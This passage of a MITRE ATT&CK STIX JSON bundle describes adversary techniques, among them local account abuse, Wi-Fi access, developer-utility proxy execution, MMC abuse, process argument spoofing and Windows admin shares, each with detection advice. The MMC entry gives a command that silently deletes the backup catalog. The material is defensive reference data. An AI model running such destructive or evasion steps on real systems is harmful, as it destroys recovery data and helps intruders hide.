            "name": "Local Accounts",
            "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Logon Session: Logon Session Metadata",
                "User Account: User Account Authentication"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fde016f6-211a-41c8-a4ab-301f1e419c62",
            "created": "2025-02-25T15:49:33.963Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1669",
                    "external_id": "T1669"
                },
                {
                    "source_name": "Nearest Neighbor Volexity",
                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
                },
                {
                    "source_name": "DOJ GRU Charges 2018",
                    "description": "U.S. Department of Justice. (2018, October 4). U.S. Charges Russian GRU Officers with International Hacking and Related Influence and Disinformation Operations. Retrieved February 25, 2025.",
                    "url": "https://www.justice.gov/archives/opa/pr/us-charges-russian-gru-officers-international-hacking-and-related-influence-and"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:24.690Z",
            "name": "Wi-Fi Networks",
            "description": "Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks \u2014 requiring [Valid Accounts](https://attack.mitre.org/techniques/T1078) \u2014 belonging to a target organization.(Citation: DOJ GRU Charges 2018)(Citation: Nearest Neighbor Volexity) Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection. \n\nAdversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target\u2019s Wi-Fi network.(Citation: Nearest Neighbor Volexity)\n\nOnce an initial wireless connection is achieved, adversaries may leverage this access for follow-on activities in the victim network or further targeting of specific devices on the network. Adversaries may perform [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) activities for [Credential Access](https://attack.mitre.org/tactics/TA0006) or [Discovery](https://attack.mitre.org/tactics/TA0007).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Cian Heasley",
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Network Devices",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Firewall: Firewall Rule Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1211",
                    "external_id": "T1211"
                },
                {
                    "source_name": "Salesforce zero-day in facebook phishing attack",
                    "description": "Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day in Facebook phishing attack. Retrieved September 18, 2023.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/"
                },
                {
                    "source_name": "Bypassing CloudTrail in AWS Service Catalog",
                    "description": "Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS Service Catalog, and Other Logging Research. Retrieved September 18, 2023.",
                    "url": "https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/"
                },
                {
                    "source_name": "GhostToken GCP flaw",
                    "description": "Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers backdoor Google accounts. Retrieved September 18, 2023.",
                    "url": "https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:59:24.778Z",
            "name": "Exploitation for Defense Evasion",
            "description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nThere have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "John Lambert, Microsoft Threat Intelligence Center"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "SaaS",
                "IaaS"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
            "created": "2017-05-31T21:31:39.262Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1127",
                    "external_id": "T1127"
                },
                {
                    "source_name": "Exploit Monday WinDbg",
                    "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160816135945/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
                },
                {
                    "source_name": "Elastic Security Labs",
                    "description": "Joe Desimone. (2024, August 5). Dismantling Smart App Control. Retrieved March 21, 2025.",
                    "url": "https://www.elastic.co/security-labs/dismantling-smart-app-control"
                },
                {
                    "source_name": "LOLBAS Tracker",
                    "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/"
                },
                {
                    "source_name": "Microsoft Smart App Control",
                    "description": "Microsoft. (n.d.). Smart App Control Frequently Asked Questions. Retrieved April 4, 2025.",
                    "url": "https://support.microsoft.com/en-us/windows/smart-app-control-frequently-asked-questions-285ea03d-fa88-4d56-882e-6698afdb7003"
                },
                {
                    "source_name": "engima0x3 RCSI Bypass",
                    "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
                    "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
                },
                {
                    "source_name": "engima0x3 DNX Bypass",
                    "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:24.863Z",
            "name": "Trusted Developer Utilities Proxy Execution",
            "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.\n\nSmart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them.(Citation: Microsoft Smart App Control) However, adversaries may leverage \"reputation hijacking\" to abuse an operating system\u2019s trust of safe, signed applications that support the execution of arbitrary code. By leveraging [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127) to run their malicious code, adversaries may bypass Smart App Control protections.(Citation: Elastic Security Labs)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Casey Smith",
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Module: Module Load",
                "Process: Process Metadata",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "created": "2019-10-04T20:42:28.541Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1529",
                    "external_id": "T1529"
                },
                {
                    "source_name": "Talos Nyetya June 2017",
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"
                },
                {
                    "source_name": "alert_TA18_106A",
                    "description": "CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Microsoft Shutdown Oct 2017",
                    "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:24.950Z",
            "name": "System Shutdown/Reboot",
            "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense",
                "Hubert Mank",
                "Janantha Marasinghe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the <code>reload</code> command.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Sensor Health: Host Status",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407",
            "created": "2021-09-28T01:36:41.638Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/014",
                    "external_id": "T1218.014"
                },
                {
                    "source_name": "abusing_com_reg",
                    "description": "bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.",
                    "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
                },
                {
                    "source_name": "mmc_vulns",
                    "description": "Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021.",
                    "url": "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/"
                },
                {
                    "source_name": "win_msc_files_overview",
                    "description": "Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021.",
                    "url": "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/"
                },
                {
                    "source_name": "win_mmc",
                    "description": "Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc"
                },
                {
                    "source_name": "win_wbadmin_delete_catalog",
                    "description": "Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog"
                },
                {
                    "source_name": "win_clsid_key",
                    "description": "Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm"
                },
                {
                    "source_name": "what_is_mmc",
                    "description": "Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021.",
                    "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console"
                },
                {
                    "source_name": "phobos_virustotal",
                    "description": "Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021.",
                    "url": "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:23.449Z",
            "name": "MMC",
            "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation: abusing_com_reg)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Wes Hurd"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as <code>services.msc</code> or <code>eventvwr.msc</code>. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Creation",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1",
            "created": "2021-11-19T14:13:11.335Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/010",
                    "external_id": "T1564.010"
                },
                {
                    "source_name": "Microsoft PEB 2021",
                    "description": "Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb"
                },
                {
                    "source_name": "Xpn Argue Like Cobalt 2019",
                    "description": "Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021.",
                    "url": "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/"
                },
                {
                    "source_name": "Cobalt Strike Arguments 2019",
                    "description": "Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021.",
                    "url": "https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/"
                },
                {
                    "source_name": "Nviso Spoof Command Line 2020",
                    "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.",
                    "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/"
                },
                {
                    "source_name": "FireEye FiveHands April 2021",
                    "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
                },
                {
                    "source_name": "Mandiant Endpoint Evading 2019",
                    "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.",
                    "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:48:40.519Z",
            "name": "Process Argument Spoofing",
            "description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
            "created": "2017-05-31T21:31:00.200Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1077",
                    "external_id": "T1077"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/561.html",
                    "external_id": "CAPEC-561"
                },
                {
                    "source_name": "Wikipedia SMB",
                    "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block"
                },
                {
                    "source_name": "TechNet RPC",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx"
                },
                {
                    "source_name": "Microsoft Admin Shares",
                    "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
                    "url": "http://support.microsoft.com/kb/314984"
                },
                {
                    "source_name": "Technet Net Use",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "url": "https://technet.microsoft.com/bb490717.aspx"
                },
                {
                    "source_name": "Lateral Movement Payne",
                    "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"
                },
                {
                    "source_name": "Windows Event Forwarding Payne",
                    "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem"
                },
                {
                    "source_name": "Medium Detecting Lateral Movement",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:16:26.092Z",
            "name": "Windows Admin Shares",
            "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
